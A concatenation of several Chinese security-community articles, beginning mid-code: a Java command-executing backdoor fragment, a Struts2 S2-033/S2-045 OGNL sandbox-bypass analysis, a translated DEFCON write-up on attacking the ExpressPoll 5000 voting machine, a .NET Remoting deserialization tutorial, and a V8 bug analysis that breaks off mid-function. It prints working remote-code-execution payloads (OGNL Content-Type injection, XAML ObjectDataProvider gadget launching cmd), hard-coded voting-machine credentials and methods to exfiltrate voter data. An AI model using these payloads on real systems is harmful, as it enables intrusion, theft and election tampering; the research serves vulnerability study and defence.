// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}
注册效果：
## 六、参考
<https://landgrey.me/blog/12/>
<https://www.cnblogs.com/bitterz/p/14820898.html>
<https://www.cnblogs.com/bitterz/p/14859766.html> | 社区文章 |
### S2-033 & S2-037
S2-033和s2-037的区别是,是否需要开启动态方法调用这两个漏洞产生的点差不多,只不过s2-033的点需要`allowDynamicMethodCalls`为TRUE,s2-037不需要,具体看下面分析
什么是REST呢
1. REST描述的是在网络中client和server的一种交互形式；REST本身不实用，实用的是如何设计 RESTful API（REST风格的网络接口）；
2. Server提供的RESTful API中，URL中只使用名词来指定资源，原则上不使用动词。“资源”是REST架构或者说整个网络处理的核心。
poc
#[email protected]@DEFAULT_MEMBER_ACCESS,#xx=123,#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
调用堆栈
最后注入的点
在`lib/struts2-rest-plugin-2.3.20.1.jar!/org/apache/struts2/rest/RestActionMapper.class`找到处理url的点,
public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
ActionMapping mapping = new ActionMapping();
String uri = RequestUtils.getUri(request);
uri = this.dropExtension(uri, mapping);
if (uri == null) {
return null;
} else {
this.parseNameAndNamespace(uri, mapping, configManager);
this.handleSpecialParameters(request, mapping);
if (mapping.getName() == null) {
return null;
} else {
this.handleDynamicMethodInvocation(mapping, mapping.getName());
跟进`handleDynamicMethodInvocation`
没有任何过滤,只要`allowDynamicMethodCalls=True`就会将我们的payload设置为method,然后经过一系列操作会到达
看`handleDynamicMethodInvocation`方法下面
这里没有了`allowDynamicMethodCalls`的限制,直接设置了method,也就s2-037了。
#### struts2-2.3.20-struts2-2.3.29
Struts 2.3.20 配置文件新增加了参数为struts.excludedClasses,此参数为了严格验证排除一些不安全的对象类型。
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
ognl.OgnlContext,
ognl.MemberAccess,
ognl.ClassResolver,
ognl.TypeConverter,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" />
"java.lang.Classs"值过滤struts标签中静态方法调用。
既然放在了s2-033下,当然拿它的payload来聊沙箱绕过咯
#[email protected]@DEFAULT_MEMBER_ACCESS,#xx=123,#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
这个poc是去覆盖掉了`_memberAccess`,在我们之前的poc中,是利用上下文中的某些变量来去突破静态方法的限制来执行命令,但是这次struts2的修复在上下文中去除掉了一些类,即使突破了也没办法去调用,这里的思路呢是去覆盖掉`SecurityMemeberAccess`对象,为什么用`DEFAULT_MEMBER_ACCESS`去覆盖呢
public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);
它是`SecurityMemberAccess`的父类的实例,可以看到SecurityMemberAccess类中实现了很多安全操作,看一下没有覆盖的时候
再来看一下覆盖之后的
另外可以看到poc里面用`#parameters`来获取的部分,原因是因为引号在传递中被转义了,导致ognl语法错误
官方文档上有写
Application − Application scoped variables
Session − Session scoped variables
Root / value stack − All your action variables are stored here
Request − Request scoped variables
Parameters − Request parameters
Atributes − The attributes stored in page, request, session and application scope
### s2-045
这个漏洞在文章`https://xz.aliyun.com/t/4662`中写过,这里不再细写
这个漏洞主要是因为在上传时使用`Jakarta`进行解析时,但是如果`content-type`错误的会进入异常,然后注入OGNL。
poc
Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468
#### struts2-2.3.30+/2.5.2+
diff一下看一下沙盒是怎么做的防护
可以看到上次的poc中的`MemberAccess`和`DefaultMemberAccess`都已经进入了黑名单
其实看这次的poc可以看出是利用`container`来获取了`ognlUtil`实例,然后我们可以知道黑名单是存储到set中的,利于clear直接清除掉,然后利用`setMemberAccess`覆盖回去,上面有一个关键的点就是使用`getInstance()`进行实例化，属于单例模式，一般用于比较大，复杂的对象，只初始化一次，而getInstance保证了每次调用都返回相同的对象。
那么我们清除了黑名单就绕过了沙盒的防御,从而RCE。
参考
https://www.secpulse.com/archives/82578.html
https://www.tutorialspoint.com/struts_2/struts_value_stack_ognl.htm
https://xz.aliyun.com/t/3395 | 社区文章 |
# 【DEFCON】看我如何黑掉投票机
|
##### 译文声明
本文是翻译文章，文章来源：horner.tj
原文地址：<https://blog.horner.tj/post/hacking-voting-machines-def-con-25>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[ **myswsun**](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
DEFCON 25是我第一次参加DEFCON安全会议，并且它非常精彩。 **有个First-time Village称为“Voting
Village”。你可以在其中享受侵入各种投票注册机的乐趣。**
我的朋友Sean和我在会议通告中看到了这个Village。我们决定花30分钟在演讲前观察下每个人的进展。我们没想到，这最终变成了针对投票机的长达8小时的hacking活动。
**0x01 目标机器**
我们决定选择[ExpressPoll 5000](http://www.essvote.com/products/5/11/electronic-poll-books/expresspoll-5000%C2%AE/)投票注册机，因为还没人取得进展。
它使用古老的PCMCIA/CF插槽来传输数据，并保存了各种各样的数据库文件。幸运的是，village提供了大量的PCMCIA卡和PCMCIA的USB转换器，因此我们能使用它作为我们的存储设备。
**0x02 常规发现**
下面是我们在exploit这个设备时发现的有用的东西的列表：
**它运行于Windows CE5.0**
**ExpressPoll软件是一个包含程序集名ExPoll的.NET应用**
**ExpressPoll软件使用WinForms作为UI**
**Bootloader是特有的**
**处理器的架构是ARM**
**数据库文件存储在内存卡上（稍后有更多细节）**
**0x03 Exploit**
我们测试了几种exploit方式，如常规方式：缓冲区溢出，Windows关键方式，网络exploit等。下面我们来针对这些方式逐一讲解。
**0x04 任意固件注入**
当内存卡插入到机器中，bootloader首先检查文件NK.BIN。如果能找到这个文件，它将试图将它加载到RAM中，并且不使用签名验证来引导它。然后固件被刷进去了，直到下次启动都有效。
NK.BIN文件是通常与ExpressPoll软件捆绑一起作为Windows CE 5.0的更新，但是攻击者能上传并运行任意自定义的NT
kernel和Linux image（目前还没测试）。
我们在ExpressPoll 5000上面测试了这个，非常确定，它无错加载了我们的Windows CE：
**0x05 任意Bootloader注入**
和固件注入exploit非常类似，bootloader也会在启动时检查更新，文件名为EBOOT.BIN。它也是没有签名验证就加载了，但是我们得不到能成功运行于机器上的bootloader。然而，bootloader注入是确认有效的，因为我们放入EBOOT.BIN文件的bootloader确实刷入了，并且在没有内存卡的情况下重启了。这意味着我们摸索到了一些东西。
**0x06 .NET .resources文件覆盖**
当ExpressPoll软件由“启动ExpressPoll”按钮启动时，它读取内存卡中的文件ExPoll.resources。这是定义应用使用的资源的文件，如字符串、图片、按钮、布局等。它可以用于覆盖和自定义注册过程（例如，增加自己的专属logo）。
这个系统的弱点是按钮（也可以是其他的UI元素）可以被覆盖为不同的操作，如运行存储在内存卡(mount到了类似/Storage
Card的目录)中的可执行文件或者运行命令。
如果找到了ExPoll.resources文件，首先将它加载到内存中，将其用于本次会话，并将它拷贝到设备的内存中，因此它再次被使用了。
这个漏洞可以通过创建一个随机的.NET
.resources文件（名为ExPoll.resources）并拷贝到内存卡中来确认。我们将内存卡从机器中弹出，按“启动ExpressPoll”按钮，它出错了。哇！！！它加载了那个文件。不过，由于它也被拷贝到内存中，如果文件是损坏的它将会出错（你不能看到“启动ExpressPoll”按钮）。还有，在我们的设备中这种状态下没有出现任何图像。
**0x07 漏洞**
和上面的exploit一起，我们找到了很多安全漏洞可以导致多种类型的攻击。
**0x08 硬编码用户名和密码**
当你启动ExpressPoll软件时，你需要输入一个数字和用户名/密码。
有一组用户名/密码硬编码到软件中总是能有效：
**用户名：1**
**密码：1111**
**0x09 未加密的SQLite3 数据库**
当启动ExpressPoll软件时，它在内存卡中查找文件PollData.db3。这是一个标准的未加密的SQLite3数据库文件，包括了所有的信息。投票，会议，选手，所有的一切。使用这个信息，攻击者能够采用多种类型的攻击：
**数据exfiltration**
例如，攻击者能使用包含空的数据库的内存卡，当注册投票时默默的换卡，获取整个投票者的数据库（包括名字，地址，SSN后4位，签名和其他）。
**伪造投票者信息**
例如，攻击者能使用假的投票者的信息迷惑伪造数据库（如改变签名等），并在注册时将它植入机器中。
**其他攻击**
当你能访问整个数据库时，想象力是无限的。
**0x0A 打开USB端口**
这个威胁不大，但是还是存在威胁。攻击者能够插拔任意的USB设备（如USB Rubber Ducky 或 LAN
Turtle）来发起攻击。我已经测试了下，用我的Bash
Bunny来通过垃圾邮件将一个字符“a”无限循环发送到其中一个文本框中，试图触发缓冲区溢出并使.NET应用程序崩溃（但是它不起作用）。
**0x0B 默认的WinCE web服务器**
默认的Windows CE服务器的开放端口是80，其可能是个安全隐患。使用这个服务器没能得到啥，因此需要进一步研究。
**0x0C 尝试其他攻击**
我们尝试了其他攻击，但是都无效。
**0x0D 内存溢出**
使用Bash
Bunny，我写了个payload，来无限循环发送一个字符“a”到一个文本框中，并将它插入机器等了约一个小时。时间到了，机器变卡了，但是没有崩溃。
**0x0E 再次内存溢出**
使用上述的SQLite3数据库中的ConsolidationMaps表，将map
image大小修改为大于1GB，并加载它。也没如预期导致.NET应用退出。它出错了（因为malloc()分配失败）但是没有崩溃。它会重启。
**0x0F 安装Grub（差点有效）**
我们试图为ARM架构创建一个Grub映像，但是我们不能在village关闭前完成构建。如果你能访问一个ARM
Grub映像和ExpressPoll5000，那么尝试使用EBOOT.BIN的方式安装它。如果有效请告诉我。 | 社区文章 |
# .NET高级代码审计（第五课） .NET Remoting反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0X00 前言
最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET
Remoting应用程序可能存在反序列化安全风险，当服务端使用HTTP信道中的SoapServerFormatterSinkProvider类作为信道接收器并且将自动反序列化TypeFilterLevel属性设置为Full的时候会造成反序列化漏洞，从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现，并且归纳成.NET反序列化漏洞系列课程中的第五课。
## 0X01 .NET Remoting概念
.NET Remoting是一种分布式应用解决方案，它允许不同 **AppDomain（应用程序域）**
之间进行通信，这里的通信可以是在同一个进程中进行或者一个系统中的不同进程间进行的通信。.NET
Remoting框架也提供了多种服务，包括激活和生存期支持，以及负责与远程应用程序进行消息传输的通道。应用程序可在重视性能的场景下使用二进制数据传输，在需要与其他远程处理框架进行交互的场景下使用
XML 数据传输。在从一个AppDomain向另一个AppDomain传输消息时，所有的XML数据都使用 SOAP 协议，总体看.NET
Remoting有以下三点优势：
1. 提供了一种允许对象通过AppDomain与另一对象进行交互的框架（在Windows操作系统中，是将应用程序分离为单独的进程。这个进程形成了应用程序代码和数据周围的一道边界。如果不采用进程间通信（RPC）机制，则在一个进程中执行的代码就不能访问另一进程。这是操作系统对应用程序的保护机制。然而在某些情况下，我们需要跨过应用程序域，与另外的应用程序域进行通信，即穿越边界。）
2. 以服务的方式来发布服务器对象（代码可以运行在服务器上，然后客户端再通过Remoting连接服务器，获得该服务对象并通过序列化在客户端运行。）
3. 客户端和服务器端有关对象的松散耦合（在Remoting中，对于要传递的对象，设计者除了需要了解通道的类型和端口号之外，无需再了解数据包的格式。这既保证了客户端和服务器端有关对象的松散耦合，同时也优化了通信的性能。）
---
## 0X02 .NET Remoting信道和协议
信道是Server和Client进行通信用的，在.NET Remoting中提供了三种信道类型，
1. **IpcChannel** **：** 位于命名空间System.Runtime.Remoting.Channels.Ipc下，提供使用IPC协议传输消息的信道实现。
2. **TcpChannel** **：** 位于命名空间System.Runtime.Remoting.Channels.Tcp下，提供使用TCP协议传输消息的信道实现。
3. **HttpChannel** **：** 位于命名空间System.Runtime.Remoting.Channels.Http下，为远程调用实现使用HTTP协议传输消息的信道。
---
**IpcChannel**
提供了使用Windows进程间通信(IPC)系统在同一计算机上的应用程序域之间传输消息的机制。在同一计算机上的应用程序域之间进行通信时，IPC信道比TCP或HTTP信道要快得多。但是IPC只在本机应用之间通信。所以，在客户端和服务端在同一台机器时，我们可以通过注册IpcChannel来提高Remoting的性能。但如果客户端和服务端不在同一台机器时，我们不能注册IPCChannel，在此不多介绍。
**TcpChannel** 提供了基于Socket
的传输工具，使用Tcp协议来跨越Remoting边界传输序列化的消息流。默认使用二进制格式序列化消息对象，具有更高的传输性能，适用于局域网。
**HttpChannel**
提供了一种使用Http协议，使其能在Internet上穿透防火墙传输序列化消息流，HttpChannel类型使用Soap格式序列化消息对象，因此它具有更好的互操作性。适用于广域网，如图
## 0x03 攻击原理
研究漏洞之前先普及下HttpChannel的相关基础知识，HttpChannel类使用 SOAP
协议在远程对象之间传输消息，并且符合SOAP1.1的标准，所有的消息都是通过SoapFormatter传递，此格式化器会将消息转换为
XML数据并进行序列化，同时向数据流中添加所需的SOAP标头。如果指定了二进制格式化程序，则会创建二进制数据流。随后，将使用 HTTP
协议将数据流传输至目标URI。HttpChannel分类如图
下面是从微软文档里摘取定义服务端的代码片段：
每行代码分别实现了创建服务端通道并且绑定本地端口9090；注册服务端通道；以及通过访问URI为RemoteObject.rem的地址调用远程的对象，在.NET
Remoting中有个激活方式的概念，表示在访问远程类型的一个对象实例之前，必须通过一个名为Activation的进程创建它并进行初始化。代码中引入了服务端激活的WellKnown方式，看下图
WellKnown理解为知名对象的激活，服务器应用程序在激活对象实例之前会在统一资源标识符(URI)上来发布这个类型。然后该服务器进程会为此类型配置一个WellKnown对象，并根据指定的端口或地址来发布对象，它的激活分为SingleTon模式
、SingleCall模式，SingleTon类所代表的类型规定每个AppDomain只能存在一个实例，当SingleTon类型加载到AppDomain的时候，CLR调用它的静态构造器去构造一个SingleTon对象，并将它的引用保存到静态字段中，而且该类也没有提供任何的公共构造器方法，这就防止了其他任何代码构造该类的其他实例。具体到这两种模式各有区别，都可以触发漏洞，因不是重点所以不做过多介绍。
### **3.1** **、远程对象**
图中的RemoteObject类，这是一个远程对象，看下微软官方的定义
RemoteObject继承自MarshalByRefObject类，MarshalByRefObject类（按引用封送）支持远程处理的应用程序中跨应用程序域（AppDomain）边界访问对象，同一应用程序域中的对象直接通信。不同应用程序域中的对象的通信方式有两种：跨应用程序域边界传输对象副本、通过代理交换消息，MarshalByRefObject类本质上通过引用代理交换消息来跨应用程序域边界进行通信的对象的基类。
### **3.2** **、服务端**
创建服务端的信道分为HttpServerChannel、HttpChannel，其中HttpServerChannel类有多个重载方法，需要知道和漏洞相关的两个重载是发生在参数
**IServerChannelSinkProvider** ，它表示服务端远程消息流的信道接收器
**IServerChannelSinkProvider**
派生出多个类，例如BinaryServerFormatterSinkProvider、SoapServerFormatterSinkProvider类，如下图
SoapServerFormatterSinkProvider类实现了这个接口，并使用SoapFormatter格式化器序列化对象，如下图
SoapFormatter格式化器实现了 **System.Runtime.Serialization.IFormatter**
接口，IFormatter接口包括了Serialize、Deserialize方法，提供了序列化对象图的功能。
在序列化的时候调用格式化器的 **Serialize**
方法，传递对流对象的引用和想要序列化的对象图引用的两个参数，流对象可以是从System.IO.Stream类派生出来的任意对象，比如常见的MemoryStream、FileStream等，简单的说就是通过格式化器的Serialize方法可将对象图中所有对象都被序列化到流里去，通过Deserialize方法将流反序列化为对象图。
介绍完SoapFormatter之后回过头来继续看SoapServerFormatterSinkProvider类，它有一个重要的属性
**TypeFilterLevel，表示当前自动反序列化级别，支持的值为Low(默认)和FULL。**
当取值为Low的时候，代表.NET Framework
远程处理较低的反序列化级别，只支持基本远程处理功能相关联的类型，而取值为Full的时候则支持所有类型在任意场景下远程处理都支持，
**所以取值为Full的时候，存在着严重的安全风险** 。
梳理一下HTTP信道攻击的前置条件，第一步实例化SoapServerFormatterSinkProvider类并且设置TypeFilterLevel属性为Full；第二步实例化HttpServerChannel/HttpChannel类，
使用下列三种重载方法实现传入参数SoapServerFormatterSinkProvider
* 满足攻击者需求的第1个攻击重载方法是 **public HttpServerChannel(IDictionary properties, IServerChannelSinkProvider sinkProvider);**
这里笔者用VulnerableDotNetHTTPRemoting项目中的VulnerableDotNetHTTPRemotingServer类来改写官方Demo
。IDictionary集合存放当前通道的配置信息，如图
* 满足攻击者需求的第2个攻击重载方法是 **public HttpServerChannel(string name, int port, IServerChannelSinkProvider sinkProvider);**
* 满足攻击者需求的第3个攻击方法是位于HttpChannel类下的 **public HttpChannel(IDictionary properties, IClientChannelSinkProvider clientSinkProvider, IServerChannelSinkProvider serverSinkProvider)**
VulnerableDotNetHTTPRemoting项目中用到就是第三种攻击方法，由于.NET Remoting客户端在攻击中用途不大，故笔者不做赘述。
## 0x04 打造Poc
国外研究者发现Microsoft.VisualStudio.Text.UI.Wpf.dll
中的Microsoft.VisualStudio.Text.Formatting. **TextFormattingRunProperties**
类实现了ISerializable接口，这个接口可以对序列化/反序列化的数据进行完全的控制，并且还避免了反射机制，
但有个问题Microsoft.VisualStudio.Text.UI.Wpf.dll需要安装VisualStudio
，在非开发主机上不会安装，但研究者后来发现Microsoft.VisualStudio.Text.Formatting.
**TextFormattingRunProperties**
类在Windows默认安装的Microsoft.PowerShell.Editor.dll里也同样存在，反编译得到源码，
实现了ISerializable接口，ISerializable只有一个方法，即 **GetObjectData**
，如果一个对象的类型实现了ISerializable接口，会构造出新的
**System.Runtime.Serialization.SerializationInfo** 对象，这个对象包含了要为对象序列化的值的集合。
GetObjectData方法的功能是调用SerializationInfo类型提供的SetType方法设置类型转换器，使用提供的AddValue多个重载方法来指定要序列化的信息，针对要添加的添加的每个数据，都要调用一次AddValue，GetObjectData添加好所有必要的序列化信息后会返回到类型解析器，类型解析器获取已经添加到SerializationInfo对象的所有值，并把他们都序列化到流中，代码逻辑实现部分参考如下
TextFormattingRunProperties类中的 **ForegroundBrush** 属性支持XAML数据，攻击者可以引入
**《.NET高级代码审计（第一课） XmlSerializer反序列化漏洞》** 同样的攻击载荷，如下
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c "calc" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
又因为SoapServerFormatterSinkProvider类用SoapFormatter格式化器处理数据，所以客户端提交的数据肯定是SOAP消息，SOAP是基于XML的简易协议，让应用程序在HTTP上进行信息交换用的。为了给出标准的SOAP有效负载，笔者参考微软官方给的Demo
结合Soroush Dalili
(@irsdl)给出的有效载荷，元素a1指向的命名空间正是TextFormattingRunProperties类所在空间地址
xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35"
在<a1:TextFormattingRunProperties></a1:TextFormattingRunProperties>元素内添加了属性ForegroundBrush，在ForegroundBrush元素内带入ResourceDictionary，这样SOAP消息的攻击载荷主体就完成了。@irsdl给出的有效载荷如下
由于.NET Remoting只支持SOAP
1.1，所以要指定SOAPAction，说来也奇怪这个SOAPAction的值是个URI，但是这个URI不必对应实际的位置。SOAPAction
Header选项在SOAP1.2版本已经移除。另外一点图上请求URI中的扩展名是rem，如果生产环境部署在IIS里，默认调用.NET应用模块IsapiModule来处理HttpRemoting，所以在白盒审计或者黑盒渗透的时候遇到rem扩展名，就得考虑可能开启了.NET
Remoting应用。
还有一处需要注意，HTTP请求有个扩展方法M-POST，其中的其中的M表示Mandatory（必须遵循的，强制的），如果一个HTTP请求包含至少一个强制的扩充声明，那么这个请求就称为强制的请求。强制请求的请求方法名字必须带有“M-”前缀，例如，强制的POST方法称为M-POST，这样的请求方式或许能更好的躲避和穿透防护设备。
## 0x05 代码审计
### **5** **.1** **、** **SoapServerFormatterSinkProvider**
从SoapServerFormatterSinkProvider类分析来看，需要满足属性TypeFilterLevel的值等于TypeFilterLevel.Full，可触发的通道包括了HttpChannel类、HttpServerChannel类，这个攻击点的好处在于发送HTTP
SOAP消息，可很好的穿透防火墙。
### **5.2** **、** **BinaryServerFormatterSinkProvider**
从BinaryServerFormatterSinkProvider类分析来看，也需要满足属性TypeFilterLevel的值等于TypeFilterLevel.Full，可触发的通道包括了TcpChannel类、TcpServerChannel类，这个攻击点可反序列化二进制文件，笔者由于时间仓促，暂时不做分析跟进，有兴趣的朋友可自行研究。
## 0x06 复盘
笔者将VulnerableDotNetHTTPRemoting项目部署到虚拟机，运行Server端，打开了本地端口1234
Burpsuite请求后成功弹出计算器，感谢Soroush Dalili (@irsdl)的分享。
## 0x07 总结
.NET
Remoting技术已经出来很多年了，现在微软主推WCF来替代它，在开发中使用概念越来越低，从漏洞本身看只要没有设置SoapServerFormatterSinkProvider类属性TypeFilterLevel=Full就不会产生反序列化攻击（默认就是安全的）最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。
## 0x08 参考
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/>
<https://docs.microsoft.com/zh-cn/previous-versions/4abbf6k0(v=vs.120)>
<https://github.com/nccgroup/VulnerableDotNetHTTPRemoting> | 社区文章 |
# Chrome Issue 941743漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Issue
941743是2019年的一个v8方面的历史漏洞，其漏洞发生在对Array.prototype.map函数的Reduce过程，之前介绍过Array.prototype.map的一个回调漏洞，本文将介绍其在JIT层的一个优化漏洞。
## 0x01 前置知识
### Array.prototype.map()
Array.prototype.map()函数用于从一个数组中根据函数关系创建一个映射，其语法如下
> var new_array = arr.map(function callback(currentValue[, index[, array]]) {
> // Return element for new_array
> }[, thisArg])
基本用法如下
var a = [1,2,3];
var b = a.map((value,index)=>{
print("index="+index+" value=" + value);
return value+1;
});
print("b=",b);
输出如下
index=0 value=1
index=1 value=2
index=2 value=3
b= 2,3,4
### Array()函数调用链及JIT优化分析
#### 源码分析
当我们执行`var a = Array(1)`时，首先调用的是`ArrayConstructor`，该函数位于`src/builtins/builtins-array-gen.cc`，按照源码分析，其调用链为`ArrayConstructor -> ArrayConstructorImpl ->
GenerateArrayNArgumentsConstructor -> TailCallRuntime`
GenerateArrayNArgumentsConstructor函数如下，其结尾使用了`TailCallRuntime`去调用某个函数
void ArrayBuiltinsAssembler::GenerateArrayNArgumentsConstructor(
TNode<Context> context, TNode<JSFunction> target, TNode<Object> new_target,
TNode<Int32T> argc, TNode<HeapObject> maybe_allocation_site) {
// Replace incoming JS receiver argument with the target.
// TODO(ishell): Avoid replacing the target on the stack and just add it
// as another additional parameter for Runtime::kNewArray.
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
args.SetReceiver(target);
// Adjust arguments count for the runtime call: +1 for implicit receiver
// and +2 for new_target and maybe_allocation_site.
argc = Int32Add(argc, Int32Constant(3));
TailCallRuntime(Runtime::kNewArray, argc, context, new_target,
maybe_allocation_site);
}
而`TailCallRuntime`函数在不同指令架构上有不同的实现，这里我们看`x64`架构的实现
void MacroAssembler::TailCallRuntime(Runtime::FunctionId fid) {
// ----------- S t a t e ------------- // -- rsp[0] : return address
// -- rsp[8] : argument num_arguments - 1
// ...
// -- rsp[8 * num_arguments] : argument 0 (receiver)
//
// For runtime functions with variable arguments:
// -- rax : number of arguments
// -----------------------------------
const Runtime::Function* function = Runtime::FunctionForId(fid);
DCHECK_EQ(1, function->result_size);
if (function->nargs >= 0) {
Set(rax, function->nargs);
}
JumpToExternalReference(ExternalReference::Create(fid));
}
通过`Runtime::FunctionForId(fid)`找到函数对象，在源码文件中`src/runtime/runtime.cc`中有定义
const Runtime::Function* Runtime::FunctionForId(Runtime::FunctionId id) {
return &(kIntrinsicFunctions[static_cast<int>(id)]);
}
其中`kIntrinsicFunctions`的定义如下
static const Runtime::Function kIntrinsicFunctions[] = {
FOR_EACH_INTRINSIC(F) FOR_EACH_INLINE_INTRINSIC(I)};
宏定义`FOR_EACH_INTRINSIC`如下
#define FOR_EACH_INTRINSIC_IMPL(F, I) \
FOR_EACH_INTRINSIC_RETURN_PAIR_IMPL(F, I) \
FOR_EACH_INTRINSIC_RETURN_OBJECT_IMPL(F, I)
#define FOR_EACH_INTRINSIC_RETURN_OBJECT_IMPL(F, I) \
FOR_EACH_INTRINSIC_ARRAY(F, I) \
FOR_EACH_INTRINSIC_ATOMICS(F, I) \
FOR_EACH_INTRINSIC_BIGINT(F, I) \
FOR_EACH_INTRINSIC_CLASSES(F, I) \
FOR_EACH_INTRINSIC_COLLECTIONS(F, I) \
FOR_EACH_INTRINSIC_COMPILER(F, I) \
FOR_EACH_INTRINSIC_DATE(F, I) \
FOR_EACH_INTRINSIC_DEBUG(F, I) \
FOR_EACH_INTRINSIC_FORIN(F, I) \
FOR_EACH_INTRINSIC_FUNCTION(F, I) \
FOR_EACH_INTRINSIC_GENERATOR(F, I) \
FOR_EACH_INTRINSIC_IC(F, I) \
FOR_EACH_INTRINSIC_INTERNAL(F, I) \
FOR_EACH_INTRINSIC_INTERPRETER(F, I) \
FOR_EACH_INTRINSIC_INTL(F, I) \
FOR_EACH_INTRINSIC_LITERALS(F, I) \
FOR_EACH_INTRINSIC_MODULE(F, I) \
FOR_EACH_INTRINSIC_NUMBERS(F, I) \
FOR_EACH_INTRINSIC_OBJECT(F, I) \
FOR_EACH_INTRINSIC_OPERATORS(F, I) \
FOR_EACH_INTRINSIC_PROMISE(F, I) \
FOR_EACH_INTRINSIC_PROXY(F, I) \
FOR_EACH_INTRINSIC_REGEXP(F, I) \
FOR_EACH_INTRINSIC_SCOPES(F, I) \
FOR_EACH_INTRINSIC_STRINGS(F, I) \
FOR_EACH_INTRINSIC_SYMBOL(F, I) \
FOR_EACH_INTRINSIC_TEST(F, I) \
FOR_EACH_INTRINSIC_TYPEDARRAY(F, I) \
FOR_EACH_INTRINSIC_WASM(F, I) \
FOR_EACH_INTRINSIC_WEAKREF(F, I)
其中，我们较为关注的`kNewArray`函数在`FOR_EACH_INTRINSIC_ARRAY`里被注册
#define FOR_EACH_INTRINSIC_ARRAY(F, I) \
F(ArrayIncludes_Slow, 3, 1) \
F(ArrayIndexOf, 3, 1) \
F(ArrayIsArray, 1, 1) \
F(ArraySpeciesConstructor, 1, 1) \
F(GrowArrayElements, 2, 1) \
I(IsArray, 1, 1) \
F(NewArray, -1 /* >= 3 */, 1) \
F(NormalizeElements, 1, 1) \
F(TransitionElementsKind, 2, 1) \
F(TransitionElementsKindWithKind, 2, 1)
由此可以知道`Array(1)`最终调用的是`NewArray`函数，该函数位于`src/runtime/runtime-array.cc`文件
RUNTIME_FUNCTION(Runtime_NewArray) {
HandleScope scope(isolate);
DCHECK_LE(3, args.length());
int const argc = args.length() - 3;
// argv points to the arguments constructed by the JavaScript call.
JavaScriptArguments argv(argc, args.address_of_arg_at(0));
CONVERT_ARG_HANDLE_CHECKED(JSFunction, constructor, argc);
CONVERT_ARG_HANDLE_CHECKED(JSReceiver, new_target, argc + 1);
CONVERT_ARG_HANDLE_CHECKED(HeapObject, type_info, argc + 2);
// TODO(bmeurer): Use MaybeHandle to pass around the AllocationSite.
Handle<AllocationSite> site = type_info->IsAllocationSite()
? Handle<AllocationSite>::cast(type_info)
: Handle<AllocationSite>::null();
Factory* factory = isolate->factory();
// If called through new, new.target can be:
// - a subclass of constructor,
// - a proxy wrapper around constructor, or
// - the constructor itself.
// If called through Reflect.construct, it's guaranteed to be a constructor by
// REFLECT_CONSTRUCT_PREPARE.
DCHECK(new_target->IsConstructor());
bool holey = false;
bool can_use_type_feedback = !site.is_null();
bool can_inline_array_constructor = true;
if (argv.length() == 1) {
Handle<Object> argument_one = argv.at<Object>(0);
if (argument_one->IsSmi()) {
int value = Handle<Smi>::cast(argument_one)->value();
if (value < 0 ||
JSArray::SetLengthWouldNormalize(isolate->heap(), value)) {
// the array is a dictionary in this case.
